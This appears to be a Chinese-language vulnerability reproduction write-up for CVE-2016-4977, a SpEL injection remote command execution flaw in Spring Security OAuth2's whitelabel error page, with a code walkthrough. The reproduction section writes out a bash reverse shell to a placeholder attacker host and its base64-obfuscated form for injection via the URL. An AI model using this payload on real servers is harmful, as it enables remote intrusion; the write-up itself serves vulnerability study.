栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

漏洞复现----39、Spring Security OAuth2 远程命令执行漏洞 (CVE-2016-4977)

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

漏洞复现----39、Spring Security OAuth2 远程命令执行漏洞 (CVE-2016-4977)

文章目录
  • 一、Spring简介
  • 二、漏洞简介
    • 漏洞成因
    • 代码分析
  • 三、漏洞复现


一、Spring简介

Spring框架是由于软件开发的复杂性而创建的。Spring使用的是基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅仅限于服务器端的开发。从简单性、可测试性和松耦合性角度而言,绝大部分Java应用都可以从Spring中受益。
Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言.

二、漏洞简介 漏洞成因

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

下图的${4*4}就是执行的SpEL表达式。

代码分析

下述代码在使用Whitelabel views来处理错误时,程序是通过oauthError.getSummary()来获取错误信息。
请求中的${4*4}已经被带入了errorSummary中,然后errorSummary被装入model中,再用SpelView进行渲染。

@FrameworkEndpoint
public class WhitelabelErrorEndpoint {
 
    private static final String ERROR = "OAuth Error

${errorSummary}

"; @RequestMapping("/oauth/error") public ModelAndView handleError(HttpServletRequest request) { Map model = new HashMap(); Object error = request.getAttribute("error"); // The error summary may contain malicious user input, // it needs to be escaped to prevent XSS String errorSummary; if (error instanceof OAuth2Exception) { OAuth2Exception oauthError = (OAuth2Exception) error; errorSummary = HtmlUtils.htmlEscape(oauthError.getSummary()); } else { errorSummary = "Unknown error"; } model.put("errorSummary", errorSummary); return new ModelAndView(new SpelView(ERROR), model); } }

跟进SpelView:
render通过helper取${}中的值作为表达式,再用parser.parseExpression来执行,跟进一下replacePlaceholders这个函数,

class SpelView implements View {
 
    ...
 
    public SpelView(String template) {
        this.template = template;
        this.context.addPropertyAccessor(new MapAccessor());
        this.helper = new PropertyPlaceholderHelper("${", "}");
        this.resolver = new PlaceholderResolver() {
            public String resolvePlaceholder(String name) {
                Expression expression = parser.parseExpression(name);
                Object value = expression.getValue(context);
                return value == null ? null : value.toString();
            }
        };
    }
 
    ...
 
    public void render(Map model, HttpServletRequest request, HttpServletResponse response)
            throws Exception {
        ...
        String result = helper.replacePlaceholders(template, resolver);
        ...
    }
}

跟进replacePlaceholders:
如果表达式的值中有${xxx}这样形式的字符串存在,就会再取xxx作为表达式来执行。

public String replacePlaceholders(String value, final Properties properties) {  
    Assert.notNull(properties, "'properties' must not be null");
    return this.replacePlaceholders(value, new PropertyPlaceholderHelper.PlaceholderResolver() {
        public String resolvePlaceholder(String placeholderName) {
            return properties.getProperty(placeholderName);
        }
    });
}
三、漏洞复现

将请求地址中的SpEL语句:${4*4}替换为我们需要执行的SpEL语句即可利用。

反弹shell方式如下:

bash -i >& /dev/tcp/U-IP/Port 0>&1

Base64编码后:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9VLUlQL1BvcnQgMD4mMQ==}|{base64,-d}|{bash,-i}

POC(点击获取):将反弹shell语句转变为SpEL语句。执行poc后,在Enter message to encode:后填入经过base64编码的反弹shell语句。

将生成的SpEL表达式替换掉URL地址中的${4*4},监听端执行监听。


参考地址:
https://paper.seebug.org/70/
https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/README.zh-cn.md

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/999347.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号